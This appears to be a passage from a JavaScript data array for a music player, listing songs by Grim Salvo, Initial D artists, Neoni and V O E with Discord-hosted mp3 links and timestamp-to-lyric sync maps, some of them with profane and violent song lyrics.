"::": "You might also like",
"::": "Walt Disney Wormdog",
"::": "Grim Salvo",
"::": "HEART OF DARKNESS",
"::": "Grim Salvo",
"::": "Feasting.On.The.Guts.Of.Angels",
"::": "Grim Salvo",
"::": "Terror when she told me",
"::": "mmm",
"::": "“This is what you wanted”",
"::": "Somebody to hold me",
"::": "mmm",
"::": "It's all I ever wanted",
"::": "Yeah, yeah, yeah, yeah",
"::": "I just wanna",
"::": "I just wanna",
"::": "I just wanna—hold it",
"::": "A future",
"::": "that would’ve been golden",
"::": "Rumors of realms",
"::": "that don’t wither and fold in",
"::": "All I smell is some",
"::": "mold in the corners",
"::": "What good are you for then?",
"::": "Sweeter and more delectable",
"::": "that torture",
"::": "The more of those horrors",
"::": "that tend to enfold them",
"::": "Putrid the stench from",
"::": "the stables",
"::": "Forgotten rotted fable",
"::": "scapegoats they holed in",
"::": "I paid for your rage",
"::": "a million days",
"::": "Look at me now on my bullshit",
"::": "Bitch I shit on this place",
"::": "I was pulled in",
"::": "Blood feathers break when",
"::": "I shed",
"::": "But not ever dead",
"::": "Upgrading my cage",
"::": "when I’m molting",
"::": "Now that I’m free",
"::": "what is even illegal?",
"::": "Burn the whole church",
"::": "'cause they’re perched",
"::": "on the steeple",
"::": "Go open the door",
"::": "but you won’t see no people",
"::": "Know some ring wraiths",
"::": "that’ll feed on your face",
"::": "if you don’t keep",
"::": "your distance",
"::": "We’re not going back",
"::": "it’s a suicide mission",
"::": "Lights in my head always",
"::": "on every day is",
"::": "like Christmas",
"::": "Long as there’s one person",
"::": "still out there listening",
"::": "Then there’s",
"::": "still a resistance",
"::": "All our dead",
"::": "dreams detonated",
"::": "right at the core",
"::": "of this mold pearl",
"::": "We don’t need their assistance",
"::": "Wait, hold it",
"::": "Now I wield the dusty",
"::": "bone blade of the Ogress",
"::": "Sold us downriver",
"::": "Sold us down the phlegethon",
"::": "but we floated",
"::": "Just wait…",
"::": "'Cause a carpet of bones",
"::": "'til there’s nothing left pulsing",
"::": "Woefully",
"::": "I cannot help",
"::": "but to loathe this",
"::": "I hope",
"::": "that nobody knows this",
"::": "I’ll be there to deliver",
"::": "the finishing blow like a",
"::": "slow kiss",
"::": "What does he need?",
"::": "Revenge",
"::": "For what?",
"::": "Being born",
"::": "I’m gon' turn into a ghost",
"::": "I don’t feel my body",
"::": "They say I’m broken",
"::": "shattered bones",
"::": "I don’t feel nobody",
"::": "I’m healing",
"::": "scars up in the cold",
"::": "leave me frozen now",
"::": "I slowly walk a lonely road",
"::": "I can’t save myself",
"::": "Glock on me",
"::": "I’m gon' walk out the coffin",
"::": "I shot thirty",
"::": "See me hop on the block",
"::": "take a lot for me",
"::": "I got bugs in my conscious",
"::": "I rot…",
"::": "Everyone plot on me",
"::": "knock off his top",
"::": "Fuck it",
"::": "I've got slugs in my system",
"::": "my shots loaded",
"::": "Put the gun through",
"::": "your vision and pop forty",
"::": "Like a bully",
"::": "I spin on your block",
"::": "Spiderweb scope out the roof",
"::": "'til they drop for me",
"::": "I got all these demons",
"::": "in my grave",
"::": "that leave me vacant",
"::": "Come and lay yo",
"::": "body wit' me baby",
"::": "won’t awaken",
"::": "Talkin' wit' the devil",
"::": "sold my soul",
"::": "but I could take it",
"::": "I had nothing left to heal",
"::": "my heart",
"::": "that's always breaking",
"::": "I got all these demons",
"::": "in my grave",
"::": "that leave me vacant",
"::": "Come and lay yo'",
"::": "body wit' me baby",
"::": "won’t awaken",
"::": "Talkin' wit' the devil",
"::": "sold my soul",
"::": "but I could take it",
"::": "I had nothing left to heal",
"::": "my heart",
"::": "that's always breaking",
"::": "Terror when she told me",
"::": "mmm",
"::": "“This is what you wanted”",
"::": "Somebody to hold me",
"::": "mmm",
"::": "It's all I ever wanted",
"::": "Terror when she told me",
"::": "mmm",
"::": "“This is what you wanted”",
"::": "Somebody to hold me",
"::": "mmm",
"::": "It's all I ever wanted",
"::": "Yeah, yeah, yeah, yeah",
"::": "I just wanna—hold it",
"::": "A future",
"::": "that would’ve been golden",
"::": "Rumors of realms",
"::": "that don’t wither and fold in",
"::": "All I smell is some",
"::": "mold in the corners",
"::": "What good are you for then?",
"::": "Sweeter and more delectable",
"::": "that torture",
"::": "The more of those horrors",
"::": "that tend to enfold them",
"::": "Putrid the stench from",
"::": "the stables",
"::": "Forgotten rotted fable",
"::": "scapegoats they holed in",
"::": "Etched like the",
"::": "base of a grave",
"::": "Covered in old magazine",
"::": "and dead roses",
"::": "Gotta put on a bold fac",
"::": "for the lies and mistakes",
"::": "All the pain happening",
"::": "right underneath our noses",
"::": "Woefully",
"::": "I cannot help",
"::": "but to loathe this",
"::": "Woefully—Woefully—",
"::": "I hope",
"::": "that nobody knows this",
"::": "A man like Ringo",
"::": "has got agreat big hole",
"::": "right through",
"::": "the middle of him",
"::": "He can never kill enough",
"::": "or steal enough",
"::": "or inflict enough",
"::": "pain to ever fill it",
},
}, {
name: "Grim Salvo - Feasting.On.The.Guts.Of.Angels",
src: "https://cdn.discordapp.com/attachments/976188754417025144/1074693682336378890/Grim_Salvo_x_KAMAARA_-_Feasting.On.The.Guts.Of.Angels._OFFICIAL_AUDIO.mp3",
sync: {
"::": "You think that I won't",
"::": "I'm sick of the front",
"::": "I got no fuckin' patience",
"::": "yeah yeah",
"::": "She jump down my throat",
"::": "Manage your expectations",
"::": "yeah yeah",
"::": "You're building a roof",
"::": "When you got no foundation",
"::": "yeah yeah",
"::": "Signal the smoke",
"::": "Spare me the altercation",
"::": "yeah yeah",
"::": "I'm sick of the front",
"::": "I got no fucking patience",
"::": "yeah yeah",
"::": "She jump down my throat",
"::": "Manage your expectations",
"::": "yeah yeah",
"::": "You're building a roof",
"::": "When you got no foundation",
"::": "yeah yeah",
"::": "Signal the smoke",
"::": "Spare me the altercation",
"::": "yeah yeah",
"::": "Been a minute since",
"::": "I really took a minute",
"::": "yeah yeah",
"::": "Been fixated on",
"::": "too many different women",
"::": "yeah yeah",
"::": "I've been spinnin'",
"::": "avoidin' all of my feelings",
"::": "yeah yeah",
"::": "Spillin' my guts while",
"::": "I'm starin' at the ceiling",
"::": "yeah yeah",
"::": "I've been here too many times",
"::": "I'm slowly losing my mind",
"::": "Bitch I'm broke",
"::": "And I got holes in my clothes",
"::": "But I am not impatient",
"::": "yeah yeah",
"::": "What the fuck do I want?",
"::": "Think I got hesitations",
"::": "yeah yeah",
"::": "33 always gonna be spicy",
"::": "Call it capsaicin",
"::": "yeah yeah",
"::": "Under the impression",
"::": "that we're ever gonna stop",
"::": "But you're fucking mistaken",
"::": "yeah yeah",
"::": "You a facade!",
"::": "Bitch you so fraudulent",
"::": "I can see it on your face",
"::": "not so confident",
"::": "Tried to manipulate",
"::": "me and my brothers",
"::": "Thinking I won't",
"::": "but that bitch needs a buffer",
"::": "Used to pawn licks",
"::": "now I'm top of my game",
"::": "Peeling the skin back",
"::": "from under my face",
"::": "Got a taste for it",
"::": "now I just do it for thrills",
"::": "Tried to bait me",
"::": "put a shot in his gills",
"::": "Not mad, I'm the gadfly",
"::": "No cyanide 'cause the world just",
"::": "gonna keep killing me still",
"::": "Sleuthy like Socrates",
"::": "No one's ever gonna",
"::": "be able to say they bought me",
"::": "Actin' like you not there",
"::": "but I still care",
"::": "Still stare with a blank face",
"::": "Wonder what the fuck",
"::": "is on the TV",
"::": "with a Phoebe",
"::": "Tell me take her someplace",
"::": "'Cause she really wanna please me",
"::": "Got them Blinders on like Peaky",
"::": "I've been here too many times",
"::": "I'm slowly losing my mind",
"::": "See red in her eyes",
"::": "All of these bitches evil",
"::": "yeah yeah",
"::": "You twisting your tongue",
"::": "Twisting my mind, that's lethal",
"::": "yeah yeah",
"::": "Not part of the script",
"::": "Taking you out the sequel",
"::": "yeah yeah",
"::": "Right before I leave",
"::": "I'mma get revenge, Max Keeble",
"::": "yeah yeah",
"::": "I'mma save you the heartache",
"::": "Think it's time",
"::": "that we part ways",
"::": "(yeah!)",
"::": "Not here for the long wait",
"::": "Think my time is a short stay",
"::": "(what?)",
"::": "You don't know the half of me",
"::": "It's sad to see that everybody",
"::": "Laughed at me like Sajudis, now",
"::": "Bitches throw it back",
"::": "for me so casually",
"::": "Like 'deet da deet da",
"::": "deet da deet da",
"::": "deet da deet da deet'",
"::": "Pour another cold one",
"::": "swallow down a whole one",
"::": "Checking my pulse;",
"::": "am I dead? Can't tell",
"::": "All that I know is",
"::": "I'm leaving my soul",
"::": "As you're in my ear screaming",
"::": "'Burn in hell!'",
"::": "Clip that! (What's up?)",
"::": "'Cause one day, bitch",
"::": "I'mma come back",
"::": "Rub this shit in yo' face",
"::": "eat your words that disgraced",
"::": "No more MIAs, only KIAs",
"::": "Where the dog tags?",
"::": "You think that I won't",
"::": "I'm sick of the front",
"::": "I got no fuckin' patience",
"::": "yeah yeah",
"::": "She jump down my throat",
"::": "Manage your expectations",
"::": "yeah yeah",
"::": "You're building a roof",
"::": "When you-",
"::": "When you got no foundation",
"::": "yeah yeah",
"::": "Signal the smoke",
"::": "Spare me the altercation",
"::": "yeah yeah",
"::": "I'm sick of the front",
"::": "I got no fuckin' patience",
"::": "yeah yeah",
"::": "She jump down my throat",
"::": "Manage your expectations",
"::": "yeah yeah",
"::": "You're building a roof",
"::": "When you got no foundation",
"::": "yeah yeah",
"::": "Signal the smoke",
"::": "Spare me the altercation",
"::": "yeah y—",
},
}, {
name: "Initial D - Don't Stand so Close",
src: "https://cdn.discordapp.com/attachments/976188754417025144/1074693171419820122/Initial_D_-_Dont_Stand_So_Close_AMV.mp3",
sync: {
"9:629": "We'll be together",
"10:847": "'till the morning light",
"12:877": "Don't stand so",
"14:400": "Don't stand so",
"15:928": "Don't stand so close to me",
"30:895": "Baby you belong to me",
"34:085": "Yes you do, yes you do",
"35:377": "You're my affection",
"37:118": "I can make a woman cry",
"40:129": "Yes I do, yes I do",
"41:668": "I will be good",
"43:380": "You're like a cruel device",
"45:041": "your blood is cold like ice",
"46:605": "Posion for my veins",
"48:205": "I'm breaking my chains",
"49:710": "One look and you can kill",
"51:228": "my pain now is your thrill",
"52:817": "Your love is for me",
"55:108": "I say, Try me",
"56:567": "take a chance on emotions",
"58:829": "For now and ever",
"1:0:19": "close to your heart",
"1:1:299": "I say, Try me",
"1:2:725": "take a chance on my passion",
"1:5:102": "We'll be together all the time",
"1:7:383": "I say, Try me",
"1:8:874": "take a chance on emotions",
"1:11:142": "For now and ever into my heart",
"1:13:279": "I say, Try me",
"1:14:989": "take a chance on my passion",
"1:17:349": "We'll be together",
"1:18:429": "'till the morning light",
"1:20:610": "Don't stand so",
"1:22:210": "Don't stand so",
"1:23:639": "Don't stand so close to me",
"1:38:607": "Baby let me take control",
"1:41:679": "Yes I do, yes I do",
"1:43:254": "You are my target",
"1:44:897": "No one ever made me cry",
"1:47:969": "What you do, what you do",
"1:49:406": "Baby's so bad",
"1:51:134": "You're like a cruel device",
"1:52:521": "your blood is cold like ice",
"1:54:293": "Posion for my veins",
"1:55:754": "I'm breaking my chains",
"1:57:333": "One look and you can kill",
"1:58:879": "my pain now is your thrill",
"2:0:607": "Your love is for me",
"2:2:690": "I say, Try me",
"2:4:271": "take a chance on emotions",
"2:6:599": "For now and ever",
"2:7:824": "close to your heart",
"2:8:715": "I say, Try me",
"2:10:394": "take a chance on my passion",
"2:12:733": "We'll be together all the time",
"2:14:993": "I say, Try me",
"2:16:298": "take a chance on emotions",
"2:18:900": "For now and ever into my heart",
"2:21:209": "I say, Try me",
"2:22:652": "take a chance on my passion",
"2:24:972": "We'll be together",
"2:26:129": "'till the morning light",
"2:28:216": "Don't stand so",
"2:29:856": "Don't stand so",
"2:31:296": "Don't stand so close to me",
"2:58:89": "I say, Try me",
"2:59:679": "take a chance on emotions",
"3:1:937": "For now and ever",
"3:3:47": "close to your heart",
"3:4:231": "I say, Try me",
"3:5:820": "take a chance on my passion",
"3:8:140": "We'll be together all the time",
"3:10:495": "I say, Try me",
"3:11:883": "take a chance on emotions",
"3:14:267": "For now and ever into my heart",
"3:16:558": "I say, Try me",
"3:18:67": "take a chance on my passion",
"3:20:464": "We'll be together",
"3:21:515": "'till the morning light",
"3:23:694": "Don't stand so",
"3:25:176": "Don't stand so",
"3:26:768": "Don't stand so close to me",
"3:41:739": "Try me",
"3:42:830": "take a chance on emotions",
"3:45:0": "For now and ever",
"3:46:271": "close to your heart",
"3:47:296": "I say, Try me",
"3:48:816": "take a chance on my passion",
"3:51:163": "We'll be together all the time",
"3:53:505": "I say, Try me",
"3:55:28": "take a chance on emotions",
"3:57:379": "For now and ever into my heart",
"3:59:667": "I say, Try me",
"4:1:216": "take a chance on my passion",
"4:3:507": "We'll be together",
"4:4:755": "'till the morning light",
"4:6:783": "Don't stand so",
"4:8:292": "Don't stand so",
"4:9:791": "Don't stand so close to me",
},
}, {
name: "Initial D - The Top",
src: "https://cdn.discordapp.com/attachments/976188754417025144/1074417409626226728/initial_D_MAD_The_Top_1.mp3",
sync: {
"39:401": "Final lap",
"40:516": "I'm on top of the world",
"41:618": "And I will never rest",
"43:667": "for second again",
"45:448": "One more time",
"46:410": "I have beaten them out",
"47:999": "The scent of gasoline",
"49:831": "announces the end",
"51:388": "They all said",
"52:838": "I'd best give it up",
"54:137": "What a fool",
"55:40": "to believe their lies",
"57:528": "Now they've fall",
"58:976": "and I'm at the top",
"1:0:116": "Are you ready now to die?",
"1:3:151": "I came up from the bottom",
"1:4:759": "and into the top",
"1:6:170": "For the first time",
"1:7:211": "I feel alive",
"1:9:373": "I can fly like an eagle",
"1:10:574": "strike like a hawk",
"1:12:170": "Do you think",
"1:12:997": "you can survive the top",
"1:15:328": "the top",
"1:27:347": "Final turn",
"1:28:526": "and I'll settle the score",
"1:30:177": "A rubber fire screams",
"1:31:392": "into the night",
"1:33:483": "Crash and burn is",
"1:34:747": "what you're gonna do",
"1:36:17": "I am a master",
"1:37:77": "of the asphalt fight",
"1:39:517": "They all said",
"1:40:563": "I'd best give it up",
"1:42:134": "What a fool",
"1:42:846": "to believe their lies",
"1:45:415": "Now they've fall",
"1:46:775": "and I'm at the top",
"1:48:175": "Are you ready now to die?",
"1:51:55": "I came up from the bottom",
"1:52:745": "and into the top",
"1:54:225": "For the first time",
"1:55:9": "I feel alive",
"1:57:343": "I can fly like an eagle",
"1:58:907": "strike like a hawk",
"2:0:153": "Do you think",
"2:0:794": "you can survive?",
"2:3:120": "I came up from the bottom",
"2:4:775": "and into the top",
"2:6:92": "For the first time",
"2:7:233": "I feel alive",
"2:9:212": "I can fly like an eagle",
"2:10:951": "strike like a hawk",
"2:12:79": "Do you think",
"2:12:904": "you can survive the top",
"2:27:859": "What were you thinking",
"2:28:721": "telling me to change my game?",
"2:30:588": "This style wasn't",
"2:31:247": "going anywhere",
"2:32:216": "it was kaput!",
"2:33:227": "You want to see what",
"2:33:793": "I've done with this place",
"2:35:39": "this whole thing?",
"2:36:322": "You want to see that",
"2:36:850": "I changed the game?",
"2:37:471": "No, I AM the game!",
"2:40:117": "Before I knew where",
"2:40:698": "this was going",
"2:41:320": "I would've listened to you",
"2:42:392": "Right now",
"2:42:992": "I distance myself from",
"2:43:665": "what you have to say!",
"2:44:894": "I made this",
"2:45:650": "something way bigger",
"2:46:403": "than you're ever gonna be",
"2:47:926": "I made it this far",
"2:49:494": "and I'm taking it to the top",
"2:51:115": "I came up from the bottom",
"2:52:854": "And into the top",
"2:54:185": "For the first time",
"2:55:106": "I feel alive!",
"2:57:195": "I can fly like an eagle",
"2:58:857": "And strike like a hawk",
"3:0:30": "Do you think",
"3:0:994": "you can survive...",
"3:3:53": "I came up from the bottom",
"3:4:751": "And into the top",
"3:6:141": "For the first time",
"3:7:211": "I feel alive!",
"3:9:171": "I can fly like an eagle",
"3:11:11": "And strike like a hawk",
"3:12:91": "Do you think",
"3:12:800": "you can survive... the top?",
"3:51:44": "I came up from the bottom",
"3:52:746": "And into the top",
"3:54:26": "For the first time",
"3:55:95": "I feel alive!",
"3:57:135": "I can fly like an eagle",
"3:58:615": "And strike like a hawk",
"4:0:153": "Do you think",
"4:0:776": "you can survive...",
"4:3:102": "I came up from the bottom",
"4:4:782": "And into the top",
"4:6:32": "For the first time",
"4:7:6": "I feel alive!",
"4:9:57": "I can fly like an eagle",
"4:10:876": "And strike like a hawk",
"4:12:188": "Do you think",
"4:12:852": "you can survive... the top?",
},
}, {
name: "Initial D - Gas Gas Gas",
src: "https://cdn.discordapp.com/attachments/976188754417025144/1074417409303269478/Manuel_-_Gas_Gas_Gas_1.mp3",
sync: {
"16:852": "Ah",
"20:9": "gas, gas, gas, gas",
"23:124": "Ah",
"28:271": "Do you like..",
"29:853": "my car",
"31:468": "m y c a r",
"33:132": "m y c a r",
"53:109": "Guess you're ready",
"54:291": "'cause I'm waiting for you",
"56:129": "It's gonna be so exciting",
"59:290": "Got this feeling",
"1:0:499": "really deep in my soul",
"1:2:281": "Let's get out",
"1:3:135": "I wanna go",
"1:4:48": "come along",
"1:4:855": "get it on",
"1:5:993": "Gonna take my car",
"1:7:562": "gonna sit in",
"1:9:35": "Gonna drive along",
"1:10:474": "'til I get you",
"1:11:823": "'Cause I'm crazy",
"1:12:562": "hot and ready",
"1:13:541": "but you like it",
"1:15:10": "I wanna race for you",
"1:16:610": "(Shall I go now?)",
"1:18:109": "Gas, gas, gas",
"1:19:810": "I'm gonna step on the gas",
"1:21:642": "Tonight, I'll fly",
"1:22:962": "(and be your lover)",
"1:24:370": "Yeah, yeah, yeah",
"1:26:101": "I'll be so quick as a flash",
"1:27:884": "And I'll be your hero",
"1:30:651": "Gas, gas, gas",
"1:32:379": "I'm gonna run as a flash",
"1:34:59": "Tonight, I'll fight",
"1:35:507": "(to be the winner)",
"1:36:707": "Yeah, yeah, yeah",
"1:38:547": "I'm gonna step on the gas",
"1:40:286": "And you'll see the big show",
"1:55:520": "Don't be lazy",
"1:56:751": "'cause I'm burning for you",
"1:58:340": "It's like a hot sensation",
"2:1:733": "Got this power",
"2:2:913": "that is taking me out",
"2:4:681": "Yes, I've got a crush on you",
"2:6:347": "ready, now",
"2:7:174": "ready, go",
"2:8:335": "Gonna take my car",
"2:9:935": "gonna sit in",
"2:11:481": "Gonna drive alone",
"2:12:775": "'til I get you",
"2:14:244": "'Cause I'm crazy",
"2:14:975": "hot and ready",
"2:15:999": "but you like it",
"2:17:279": "I wanna race for you",
"2:18:938": "(Shall I go now?)",
"2:20:455": "Gas, gas, gas",
"2:22:178": "I'm gonna step on the gas",
"2:23:999": "Tonight, I'll fly",
"2:25:311": "(and be your lover)",
"2:26:738": "Yeah, yeah, yeah",
"2:28:512": "I'll be so quick as a flash",
"2:29:975": "And I'll be your hero",
"2:32:978": "Gas, gas, gas",
"2:34:668": "I'm gonna run as a flash",
"2:36:447": "Tonight, I'll fight",
"2:37:809": "(to be the winner)",
"2:39:81": "Yeah, yeah, yeah",
"2:40:931": "I'm gonna step on the gas",
"2:42:463": "And you'll see the big show",
"3:10:277": "Guess you're ready",
"3:11:426": "'cause I'm waiting for you",
"3:13:215": "It's gonna be so exciting",
"3:16:471": "Got this feeling",
"3:17:789": "really deep in my soul",
"3:19:408": "Let's get out",
"3:20:224": "I wanna go",
"3:21:197": "come along",
"3:22:34": "get it on",
"3:23:234": "Gonna take my car",
"3:25:986": "do you like",
"3:27:605": "my car?",
"3:29:5": "'Cause I'm crazy",
"3:29:685": "hot and ready",
"3:30:823": "but you like it",
"3:32:133": "I wanna race for you",
"3:33:653": "(Shall I go now?)",
"3:36:813": "Gas, gas, gas",
"3:38:514": "I'm gonna step on the gas",
"3:40:185": "Tonight, I'll fly",
"3:41:665": "(and be your lover)",
"3:43:46": "Yeah, yeah, yeah",
"3:44:756": "I'll be so quick as a flash",
"3:46:354": "And I'll be your hero",
"3:49:245": "Gas, gas, gas",
"3:51:130": "I'm gonna run as a flash",
"3:52:840": "Tonight, I'll fight",
"3:54:90": "(to be the winner)",
"3:55:448": "Yeah, yeah, yeah",
"3:57:389": "I'm gonna step on the gas",
"3:58:866": "And you'll see the big show",
"4:1:797": "Gas, gas, gas",
"4:4:805": "Yeah, yeah, yeah",
"4:7:975": "Gas, gas, gas",
"4:11:293": "And you'll see the big show",
"4:28:89": "Ah"
},
}, {
name: "Initial D - Running In The 90's",
src: "https://cdn.discordapp.com/attachments/976188754417025144/1074691658643415050/Running_In_The_90s_2.mp3",
sync: {
"37:412": "Modern talking",
"38:991": "modern walking in the streets",
"41:601": "New desire",
"43:481": "Take me higher",
"45:89": "lift me higher with your speed",
"47:729": "I need fire",
"49:220": "Get the satellite",
"50:892": "if you want to see me",
"52:225": "Talking on the net",
"53:699": "I know the way you like it",
"55:329": "Get your credit card",
"56:862": "'cause I need no money",
"58:339": "All I wanna get is you",
"1:0:480": "baby",
"1:1:344": "Running in the 90's",
"1:3:976": "is a new way I like to be",
"1:6:664": "I'm just running in the 90's",
"1:10:141": "Come on baby, run to me",
"1:12:800": "We are running in the 90's",
"1:16:141": "it's a new way to set me free",
"1:18:722": "I'm just running in the 90's",
"1:22:242": "Yes, I wanna know",
"1:23:850": "yes, I wanna see",
"1:37:880": "Cyber talking",
"1:39:613": "cybersex is on the line",
"1:42:184": "New desire",
"1:44:150": "Take me higher",
"1:45:691": "boost me higher with your mind",
"1:48:203": "Set me on fire",
"1:49:645": "Get the satellite",
"1:51:347": "if you want to see me",
"1:52:769": "Talking on the net",
"1:54:379": "I know the way you like it",
"1:55:896": "Get your credit card",
"1:57:307": "'cause I need no money",
"1:58:617": "All I wanna get is you",
"2:1:97": "baby",
"2:1:814": "Running in the 90's",
"2:4:582": "is a new way I like to be",
"2:7:196": "I'm just running in the 90's",
"2:10:595": "Come on baby, run to me",
"2:13:233": "We are running in the 90's",
"2:16:673": "it's a new way to set me free",
"2:19:225": "I'm just running in the 90's",
"2:22:868": "Yes, I wanna know",
"2:24:325": "yes, I wanna see",
"2:42:690": "New desire",
"2:48:845": "I need fire",
"3:2:496": "Running in the 90's",
"3:5:165": "is a new way I like to be",
"3:7:744": "I'm just running in the 90's",
"3:11:424": "Come on, baby, run to me",
"3:13:885": "We are running in the 90's",
"3:17:333": "it's a new way to set me free",
"3:19:971": "I'm just running in the 90's",
"3:23:451": "Yes, I wanna know",
"3:24:949": "yes, I wanna see",
"3:45:179": "Take me higher",
"3:46:699": "lift me higher with your speed",
"3:49:356": "I need fire",
"3:50:937": "Get the satellite",
"3:53:983": "talking on the net",
"3:56:922": "Get your credit card",
"4:0:4": "all I wanna get",
"4:2:899": "Running in the 90's",
"4:8:968": "Running in the 90's",
"4:15:200": "Running in the 90's",
"4:21:190": "Running in the 90's",
},
}, {
name: "Initial D - No One Sleep In Tokyo",
src: "https://cdn.discordapp.com/attachments/1059159650026659842/1075151008910561330/Initial_D_-_No_One_Sleep_In_Tokyo.mp3",
sync: {
"666": "(4... 3... 2... 1...)",
"19:197": "no one sleep in Tokyo",
"22:301": "all right crossing the line",
"25:392": "no one quit the radio",
"28:432": "Tokyo is on fire",
"43:821": "even if you say",
"45:341": "'I have been the world wide'",
"47:124": "I'll take you where",
"48:190": "surely you have never been",
"50:558": "all right in the fight",
"52:47": "I'm OK... come on",
"56:5": "come on",
"59:374": "hey do you feel",
"1:0:688": "the night is breathable",
"1:2:760": "look at this town",
"1:1:347": "which is unbelievable",
"1:2:805": "no other places",
"1:7:21": "like that in the world",
"1:9:264": "worldddd",
"1:10:144": "worlddddddddd (1, 2, 3, 4)",
"1:11:825": "no one sleep in Tokyo",
"1:14:843": "all right crossing the line",
"1:18:137": "no one quit the radio",
"1:21:203": "Tokyo is on fire",
"1:24:393": "no one sleep in Tokyo",
"1:27:302": "all right crossing the line",
"1:30:403": "no one quit the radio",
"1:33:473": "Tokyo is on fire",
"1:48:894": "turning to the left",
"1:50:364": "easy chicks and red lights",
"1:52:367": "and to the right",
"1:53:305": "crazy music everywhere",
"1:55:705": "all right in the fight",
"1:56:855": "I'm OK... come on",
"2:0:924": "come on",
"2:4:448": "hey do you feel",
"2:5:832": "the night is breathable",
"2:7:767": "look at this town",
"2:8:514": "which is unbelievable",
"2:10:885": "no other places",
"2:11:984": "like that in the world",
"2:14:333": "worldddd",
"2:15:245": "worlddddddddd (1, 2, 3, 4)",
"2:16:842": "no one sleep in Tokyo",
"2:20:26": "all right crossing the line",
"2:23:77": "no one quit the radio",
"2:26:286": "Tokyo is on fire",
"2:29:266": "no one sleep in Tokyo",
"2:32:487": "all right crossing the line",
"2:35:436": "no one quit the radio",
"2:38:546": "Tokyo is on fire",
"3:18:369": "(come on)",
"3:32:566": "(1, 2, 3, 4)",
"3:37:328": "all right crossing the line",
"3:43:658": "Tokyo is on fire",
"3:59:82": "hey do you feel",
"4:0:318": "the night is breathable",
"4:2:486": "look at this town",
"4:3:515": "which is unbelievable",
"4:5:525": "no other places",
"4:6:600": "like that in the world",
"4:8:992": "worldddd",
"4:9:680": "worlddddddddd (1, 2, 3, 4)",
"4:11:454": "no one sleep in Tokyo",
"4:14:568": "all right crossing the line",
"4:17:616": "no one quit the radio",
"4:20:747": "Tokyo is on fire",
"4:23:779": "no one sleep in Tokyo",
"4:26:950": "all right crossing the line",
"4:30:51": "no one quit the radio",
"4:33:70": "Tokyo is on fire",
},
}, {
name: "UNSECRET & Noeni - Fallout",
src: "https://cdn.discordapp.com/attachments/1040928912118652928/1079764097169641552/Neoni_x_UNSECRET_-_Fallout_Official_Lyric_Video.mp3",
sync: {
"19:833": "Hush now, dry your eyes",
"24:167": "Fate is upon us",
"26:84": "The changing of times",
"27:417": "Welcome blood red skies",
"32:751": "Burn in wake of a",
"35:1": "world left behind",
"37:280": " DI YA, DA, DA",
"39:238": "DA DA, DE DI YA",
"40:613": "DA DA, DE DA",
"45:988": "DI YA, DA, DA",
"48:155": "DE, DI YA",
"49:113": "DA DA",
"50:125": "DE DI, YA",
"51:257": "DA, DA, DE, DA",
"53:632": "Can't escape the fallout",
"58:48": "Feel the fire rain down",
"1:2:382": "See the shadows",
"1:3:531": "rising all around",
"1:6:489": "Can't escape the FALLOUT,",
"1:9:239": "fallout",
"1:12:114": "Down to the ashes",
"1:16:531": "Bones are left to dry",
"1:20:781": "Waves of desolation",
"1:25:031": "There's nowhere safe to hide",
"1:29:971": "DI YA",
"1:30:762": "DA DA DE",
"1:31:972": "DI YA.",
"1:32:346": "DA DA DE",
"1:34:160": "DI YA",
"1:35:35": "DA DA DE DA",
"1:38:539": "DI YA",
"1:39:372": "DA DA DE",
"1:40:521": "DI YA",
"1:41:729": "DA DA DE",
"1:42:762": "DI YA",
"1:43:878": "DA DA DE DA",
"1:45:890": "Can't escape the fallout",
"1:50:265": "Feel the fire rain down",
"1:54:557": "See the shadows",
"1:55:849": "rising all around",
"1:58:897": "Can't escape the fallout,",
"2:1:814": "FALLOUT!",
"2:22:237": "DI YA",
"2:23:153": "DA DA DE",
"2:24:528": "DI YA.",
"2:25:362": "DA DA DE",
"2:26:305": "DI YA",
"2:27:347": "DA DA DE DA",
"2:30:730": "DI YA",
"2:31:722": "DA DA DE",
"2:33:49": "DI YA",
"2:34:8": "DA DA DE",
"2:35:133": "DI YA",
"2:36:174": "DA DA DE DA",
"2:46:921": "Can't escape the fallout!",
"2:51:296": "Feel the fire rain down",
"2:55:755": "See the shadows",
"2:57:58": "rising all around",
"3:0:183": "Can't escape the fallout",
"3:2:433": "FALLOUT!",
"3:4:642": "Can't escape the fallout,",
"3:7:267": "FALLOUT!",
},
}, {
name: "V O E - Giants",
src: "https://cdn.discordapp.com/attachments/1065969963644506152/1079719316074790953/V_O_E_-_Giants_Extended_Mix_NCS_Release_1.mp3",
sync: {
"10:639": "Oh, where am I going now",
"12:163": "just falling over dreams",
"16:299": "Now I'm just so far gone",
"18:439": "this isn't what it seems",
"21:785": "I'm taking this so d*mn long",
"23:317": "it's fading from believe",
"27:178": "I need to slow this down",
"28:828": "it's burning from beneath",
"32:909": "Come break this line",
"36:175": "Before tomorrow dies,",
"38:805": "Holding on for what",
"40:547": "is worth my life",
"44:175": "I know in time",
"47:214": "I'll make it up the vine",
"49:802": "Find my way to",
"51:71": "giants in the sky",
"53:974": "Tonight it comes to life.",
"1:16:17": "Tonight it comes to life..",
"1:38:829": "Oh, where am I going now",
"1:40:450": "just falling over dreams",
"1:44:520": "Now I'm just so far gone",
"1:46:391": "this isn't what it seems",
"1:49:974": "I'm taking this so d*mn long",
"1:51:652": "it's fading from believe",
"1:55:509": "I need to slow this down",
"1:57:142": "it's burning from beneath",
"2:1:269": "Come break this light",
"2:4:52": "Before tomorrow dies,",
"2:7:97": "Holding on for what",
"2:8:785": "is worth my life",
"2:12:322": "I know in time",
"2:15:315": "I'll make it up the vine",
"2:18:221": "Find my way to",
"2:19:582": "giants in the sky",
"2:21:175": "Tonight it comes to life.",
"2:32:969": "Tonight it comes to life..",
"2:56:461": "Come break this line",
"2:59:450": "Before tomorrow dies,",
"3:2:601": "Holding on for what",
"3:3:853": "is worth my life",
"3:7:617": "I know in time",
"3:10:701": "I'll make it up the vine",
"3:13:195": "Find my way to",
"3:14:591": "giants in the sky",
"3:17:446": "Tonight it comes to life.",
},
}, {
name: "Neoni - Champion",
src: "https://cdn.discordapp.com/attachments/1040928912118652928/1079696275303305256/Nightcore_-_CHAMPION_Lyrics.mp3",
sync: {
"14:689": "The battle's coming now...",
"20:398": "The fury shakes the ground",
"26:174": "I've come to take my crown",
"31:525": "Im rising up",
"32:155": "my heart is pounding",
"34:382": "Ready or not the",
"35:516": "clock is counting down",
"37:322": "Whoa",
"40:814": "This is my moment",
"42:722": "Whoa",
"46:581": "This is my moment..",
"49:399": "This is my moment...",
"52:074": "Whoa",
"53:033": "I was born for greatness",
"54:847": "Whoa",
"55:709": "A legend in the making",
"57:432": "Deep in my bones",
"58:702": "Oh yeah I know",
